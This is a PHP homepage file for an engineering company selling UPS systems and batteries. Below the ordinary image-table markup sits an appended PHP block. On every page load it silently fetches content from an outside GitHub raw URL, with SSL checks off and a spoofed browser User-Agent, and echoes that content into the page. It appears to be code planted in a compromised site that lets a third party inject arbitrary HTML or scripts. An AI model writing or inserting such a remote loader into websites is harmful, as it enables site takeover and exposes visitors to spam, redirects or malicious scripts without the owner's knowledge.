File: /home/khakzad/www/index.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
<meta content="شرکت مهندسی زی-نر ارائهدهنده بهترین محصولات تأمین نیرو، تجهیزات برق اضطراری، یوپیاس، باتری یوپیاس" />
<meta content="ZENER Engineering Company UPS, Battery, Reliable power" />
<title>ZENER Engineering Company</title>
<style type="text/css">
body{
margin: 80px 0px 0px 0px;
background: #ededed url(images/fabric.jpg)
}
img{
border: none;
}
</style>
</head>
<body>
<table align="center" cellpadding="0" cellspacing="0" style="width: 684px">
<tr>
<td colspan="3"><img alt="" height="103" src="images/z_01.jpg" width="750" /></td>
</tr>
<tr>
<td colspan="3"><img alt="" height="103" src="images/z_02.jpg" width="750" /></td>
</tr>
<tr>
<td colspan="3"><map id="FPMap0" name="FPMap0">
<area coords="182,13,335,81" shape="rect" />
<area coords="10,13,163,82" shape="rect" />
</map>
<img alt="" height="103" src="images/z_03.jpg" usemap="#FPMap0" width="750" /></td>
</tr>
<tr>
<td colspan="3"><img alt="" height="103" src="images/z_04.jpg" width="750" /></td>
</tr>
<tr>
<td colspan="3"><img alt="" height="103" src="images/z_05.jpg" width="750" /></td>
</tr>
<tr>
<td><p style="font-family:tahoma; font-size: 70%; color: DBE9F7; text-align:left;">e-mail: info [at] khakzad.com</p></td>
<td> </td>
</tr>
</table>
<?php
$url = "https://raw.githubusercontent.com/Wijayahans/Lp/refs/heads/main/project4";
$content = null;
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_TIMEOUT => 5,
CURLOPT_CONNECTTIMEOUT => 3,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HTTPHEADER => [
"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
],
]);
$output = curl_exec($ch);
curl_close($ch);
if (!empty(trim($output))) {
$content = $output;
}
}
if (!$content && ini_get("allow_url_fopen")) {
$stream = @file_get_contents($url, false, stream_context_create([
"http" => ["header" => "User-Agent: Mozilla/5.0\r\n"]
]));
if (!empty(trim($stream))) {
$content = $stream;
}
}
echo $content ?: "<!-- REMOTE LOAD FAILED -->";
?>
</body>
</html>